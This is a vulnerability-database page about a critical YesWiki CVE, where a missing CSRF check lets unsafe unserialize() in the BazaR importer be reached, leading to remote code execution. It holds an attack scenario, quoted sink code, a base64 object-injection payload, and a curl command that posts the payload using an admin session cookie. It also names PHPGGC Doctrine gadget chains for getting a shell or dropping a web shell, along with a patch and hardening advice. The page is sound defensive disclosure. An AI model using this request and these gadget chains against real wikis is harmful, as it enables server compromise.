Skip to main content

YesWiki CVE-2026-52777

CRITICAL
Cross-Site Request Forgery (CSRF) (CWE-352)
2026-07-09 https://github.com/YesWiki/yeswiki GHSA-9369-69wj-7m2f
9.4
CVSS 4.0 · Vendor: https://github.com/YesWiki/yeswiki
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify target running YesWiki with admin
  2. Delivery
    Host page auto-POSTing base64 PHPGGC payload
  3. Exploit
    Admin visits, session cookie sent
  4. Execution
    unserialize instantiates gadget classes
  5. Persist
    Doctrine chain reaches system()/file_put_contents
  6. Impact
    Execute code / drop web shell on host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V3 - Web Frontend Security Anti-CSRF tokens, SameSite cookies
MITRE ATT&CK

1 technique across 1 tactic: Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a YesWiki instance older than 4.6.6 with an active administrator session (the bazarimport action enforces checkSecuredACL with adminOnly=true), and that admin must be induced to load attacker-controlled HTML that auto-POSTs to the importer endpoint - because the importentries branch performs no CSRF token check, the attacker themselves needs no credentials. The vulnerable BazaR importer route is present by default, so no special server configuration or custom page authoring is needed. Limiting factors: the victim must be a wiki admin (or an account explicitly added to the bazarimport ACL) and must actively trigger the forged request, and reliable OS-level RCE additionally depends on a usable PHPGGC gadget chain resolving against the install's Doctrine dependency graph (doctrine/annotations ^1.11, doctrine/cache ^1.10) - the published PoC proves object injection but not a turnkey end-to-end chain.

Impact

This is a genuine high-priority issue for YesWiki operators despite a moderately niche footprint. The provided CVSS 4.0 vector (9.4; AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H with subsequent-system impact) captures the shape well: unauthenticated attacker, low complexity, but active user interaction from a privileged victim is required, and the impact escapes the wiki into the OS. Note the assigned CWE-352 (CSRF) describes the delivery vector, not the underlying sink, which is deserialization (CWE-502); treat the CWE as slightly narrow. Signals are consistent - POC is publicly available and the vendor shipped a fix - so this is a real, not merely paper-high, risk. Tempering factors: exploitation is not fully autonomous (it needs an existing admin to open attacker HTML), and the shipped PoC proves the object-injection primitive rather than a complete, dependency-resolved RCE chain, so end-to-end RCE reliability against a given install is asserted-but-not-demonstrated. No EPSS score and no CISA KEV listing were provided; there is no evidence of active exploitation.

Exploit ScenarioDerived

An attacker who knows the target runs YesWiki emails or messages a wiki administrator a link to an attacker-hosted page that auto-submits a hidden form POSTing importfiche[0]=<base64 PHPGGC Doctrine payload> to https://wiki.example.com/?BazaR&vue=importer&id_typeannonce=1. The admin's browser attaches the session cookie, checkSecuredACL passes, no CSRF token is validated, and unserialize instantiates the gadget chain to run system() or write a web shell on the host. Public PoC code demonstrates the attacker-controlled __destruct executing inside the unmodified importEntry code path.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Sep 05, 2026

PHP object injection in YesWiki before 4.6.6 lets an attacker achieve remote code execution on the host by coercing a logged-in wiki admin into submitting a crafted BazaR import. The BazarImportAction path passes attacker-controlled POST data (importfiche) straight into unserialize(base64_decode(...)) with no allowed_classes restriction and, critically, no CSRF token check, so a forged cross-site POST rides the admin's session. Publicly available exploit code demonstrates the primitive; the vendor patched it in 4.6.6, part of a security release fixing 12 CVEs.

Earlier versions of this analysis (1)
v1 Jul 09, 2026 - 21:49

PHP object injection in YesWiki's BazaR import feature allows an attacker to reach an unsafe unserialize() sink in tools/bazar/services/CSVManager.php, where attacker-supplied base64 data is deserialized without allowed_classes=false, instantiating arbitrary classes and triggering magic methods (__destruct, and __toString via array_map('strval')). Because the importentries mode lacks CSRF protection (the assigned root cause CWE-352), a remote attacker can host an auto-POSTing HTML page that, when visited by a logged-in wiki admin, drives the deserialization using the admin's session - chaining published Doctrine PHPGGC gadgets into remote code execution on the host. Publicly available exploit code exists demonstrating the object-injection primitive, but no full end-to-end RCE chain is published and this is not confirmed actively exploited (not in CISA KEV).

RemediationAI

Upgrade to the vendor-released patched version 4.6.6 (fix commit https://github.com/YesWiki/yeswiki/commit/8f70a8d6b8befa0e644d03c785701dbbc55b8fd0); this release also mitigates 11 other CVEs, so upgrading promptly is advised. If an immediate upgrade is not possible, the vendor's own suggested hardening can be applied as compensating controls: patch CSVManager::importEntry to pass ['allowed_classes' => false] to unserialize (or drop the legacy base64+serialize import transport in favor of the JSON api/entries endpoint the current UI already uses), which neutralizes gadget instantiation with minimal functional impact since the serialized-PHP path appears unused; and add a CsrfTokenController::checkToken('main','POST',...) guard to the importentries mode in BazarImportAction.php, matching FormController.php - the trade-off is that legitimate scripted/legacy imports lacking a valid token will break. Operationally, you can also restrict network access to the ?BazaR&vue=importer endpoint or tighten the bazarimport action ACL, at the cost of hindering admins who legitimately use CSV import. Refer to GHSA-9369-69wj-7m2f for details.

Affected Packages

composer yeswiki/yeswiki fix: 4.6.6

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

YesWiki is an open-source PHP wiki/collaboration engine (pkg:composer/yeswiki_yeswiki). The root cause is CWE-502 Deserialization of Untrusted Data: tools/bazar/services/CSVManager.php::importEntry() calls unserialize(base64_decode($entry)) on each element of the user-supplied importfiche array without the ['allowed_classes' => false] guard, so arbitrary PHP classes are instantiated and their magic methods (__wakeup/__destruct) fire; the following array_map('strval', $entry) additionally invokes __toString, widening the gadget surface. Reachability is amplified by CWE-352 (CSRF): the importentries branch in BazarImportAction.php omits the CsrfTokenController::checkToken guard that sibling destructive actions (FormController.php) use. YesWiki's composer.json pulls doctrine/annotations ^1.11 and doctrine/cache ^1.10, both of which have published PHPGGC gadget chains (Doctrine/RCE1 → system(), Doctrine/FW1 → file_put_contents()), providing a realistic route from object injection to OS command execution or web-shell drop.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/YesWiki/yeswiki) PRIMARY 9.4 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
vuln.today AI 9.6 CRITICAL

Unauthenticated attacker but a privileged admin victim must open attacker HTML (UI:R); RCE escapes the wiki app to the OS host (S:C) with full C/I/A impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (https://github.com/YesWiki/yeswiki).

CVSS VectorVendor: https://github.com/YesWiki/yeswiki

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

2
Analysis Updated
Sep 05, 2026 - 00:29 vuln.today
v2 - CVSS changed
CVSS changed
Sep 05, 2026 - 00:22 NVD
9.4 (CRITICAL)

DescriptionCVE.org

Details

Sink

tools/bazar/services/CSVManager.php line 372-399:

public function importEntry(array $importedEntries, string $formId): ?array
{
    if (!$this->importdone) {
        // ...
        foreach ($importedEntries as $entry) {
            $entry = unserialize(base64_decode($entry));   // <-- SINK
            $entry = array_map('strval', $entry);
            // ...

There is no ['allowed_classes' => false] argument; arbitrary classes are instantiated. The subsequent array_map('strval', $entry) additionally exercises __toString on each top-level array element, doubling the magic-method surface available to a gadget chain.

Source

tools/bazar/actions/BazarImportAction.php:

// formatArguments()
'mode' => (isset($_POST['submit_file']) && !empty($_FILES['fileimport']['name'])) ? 'submitfile' :
    (isset($_POST['importfiche']) ? 'importentries' : 'default'),
'importentries' => $_POST['importfiche'] ?? null,

// run()
case 'importentries':
    // ...
    $importedEntries = $this->CSVManager->importEntry($this->arguments['importentries'], $vID['id']);
    break;

$_POST['importfiche'] flows directly to the sink. The mode switches to 'importentries' whenever the request body contains the key, so an attacker need only POST importfiche[0]=<payload>.

Reachability

  1. The action is registered as bazarimport. The default BazaR page (setup/sql/default-content.sql -> BazaR page entry, ships with {{bazar showexportbuttons="1"}}) routes ?BazaR&vue=importer&id_typeannonce=<N> to BazarAction::run() -> case VOIR_IMPORTER -> callAction('bazarimport', ...) (tools/bazar/actions/BazarAction.php:257-258). So the sink is reachable on a default install with no extra page authoring.
  2. BazarImportAction::run() calls $this->checkSecuredACL() with the default $adminOnly=true. Only wiki admins (or accounts the admin has added to the bazarimport action ACL) can execute it.
  3. The importentries branch does NOT invoke CsrfTokenController::checkToken(...). Grepping tools/bazar/actions/BazarImportAction.php confirms the action class has no csrf or checkToken reference at all. This is asymmetric with sibling actions: tools/bazar/controllers/FormController.php does call checkToken('main', 'POST', 'confirmDeleteToken') for destructive operations. The import path skips the same protection.
  4. Therefore the full kill chain for a remote attacker is:

a. Identify any admin user on the target wiki. b. Deliver an HTML page (email, chat, link) that auto-POSTs importfiche[0]=<base64-encoded PHPGGC payload> to https://<wiki>/?BazaR&vue=importer&id_typeannonce=1. c. The admin's session cookie is sent automatically; the action passes checkSecuredACL; the unserialize fires.

Gadget chain availability

composer.json requires doctrine/annotations ^1.11 and doctrine/cache ^1.10. Both have published PHPGGC chains (Doctrine/RCE1, Doctrine/FW1, Doctrine/FW2, etc., from https://github.com/ambionics/phpggc). These chains terminate in either system($cmd) (RCE1) or file_put_contents($php_file, $contents) (FW1) entry-points -- both sufficient to give the attacker shell on the YesWiki host.

This advisory does not include a working PHPGGC chain end-to-end (writing a chain that survives YesWiki's exact dependency-resolved class graph is separate work). The PoC demonstrates the primitive (attacker-controlled class instantiation + magic-method execution); the chain is a downstream exercise using public tooling.

Past advisories cross-check

YesWiki's published GitHub advisories cover XSS, SQLi, arbitrary-PHP-file-write RCE, path traversal, and unauthenticated backup download. None covers an unserialize / PHP-object-injection sink, so this is a novel vulnerability class for the project.

PoC

A self-contained PoC reproducing the inner loop is available; it copies the exact two-line sink and proves that attacker-controlled __destruct runs without booting the full application.

Run:

php poc.php

Output (verbatim):

Crafted importfiche[0] payload (form-ready, urlencoded):
YToxOntpOjA7Tzo2OiJHYWRnZXQiOjE6e3M6NjoibWFya2VyIjtzOjIyOiJQV05FRC1GUk9NLVVOU0VSSUFMSVpFIjt9fQ%3D%3D

== before importEntry ==
[Gadget] __destruct fired with marker='PWNED-FROM-UNSERIALIZE'
PHP Fatal error:  Uncaught Error: Object of class Gadget could not be converted to string ...
[Gadget] __destruct fired with marker='PWNED-FROM-UNSERIALIZE'

The two [Gadget] __destruct fired lines (one from inside the loop, one from the engine shutdown after the TypeError) confirm that the attacker-defined Gadget::__destruct executed -- with the attacker-supplied marker -- inside the unmodified importEntry code path.

End-to-end against a live YesWiki install:

curl -i -b "yeswiki_session=<admin_cookie>" \
     -X POST "https://wiki.example.com/?BazaR&vue=importer&id_typeannonce=1" \
     --data-urlencode \
     "importfiche[0]=YToxOntpOjA7Tzo2OiJHYWRnZXQiOjE6e3M6NjoibWFya2VyIjtzOjIyOiJQV05FRC1GUk9NLVVOU0VSSUFMSVpFIjt9fQ=="

(replace the payload with a real PHPGGC Doctrine/FW1 or Doctrine/RCE1 output to obtain RCE on the target host).

Impact

  • Authenticated wiki admin who lands on attacker-controlled HTML obtains remote code execution on the YesWiki server (via the cross-site forgery path; no admin interaction with the import UI is required).
  • An attacker who has already compromised an admin password upgrades from "wiki content management" to "OS shell on the hosting box".
  • The compromise survives the wiki layer entirely: the attacker can write web shells, exfiltrate other sites on shared hosting, modify wakka.config.php, dump the MySQL database, and pivot from there.

Suggested fix

  1. tools/bazar/services/CSVManager.php::importEntry -- pass ['allowed_classes' => false] to unserialize, or, better, replace the base64+serialize transport with the JSON transport the current UI already uses (?api/entries/{formId} POST in tools/bazar/presentation/javascripts/bazar-import.js). The serialized-PHP transport appears to be an unused legacy path.
  2. tools/bazar/actions/BazarImportAction.php -- add a CsrfTokenController::checkToken('main', 'POST', 'csrf-token', false) guard for the 'importentries' mode (and any other state-changing modes). The existing tools/bazar/controllers/FormController.php pattern can be lifted directly.

Executive ViewAI

Why It Matters

YesWiki versions prior to 4.6.6 contain a critical PHP object injection vulnerability in the BazaR import function that enables arbitrary code execution on affected servers. An attacker exploits missing CSRF protection and unsafe deserialization to manipulate authenticated administrators into importing malicious content, resulting in complete server compromise.

Business Impact: Severe
Compensating Controls

Apply vendor patch. Until patching is complete, disable the BazaR import feature via configuration or file permissions, segment administrative access through network controls, and implement email-based phishing awareness training to reduce social-engineering risk against administrators.

Threat Intelligence Overview

EPSS Score
0.2%
Top 88% exploitable
Prevalence
Low
niche open-source French wiki engine, limited enterprise footprint
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

67
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +47
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

pkg:composer/yeswiki_yeswiki

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy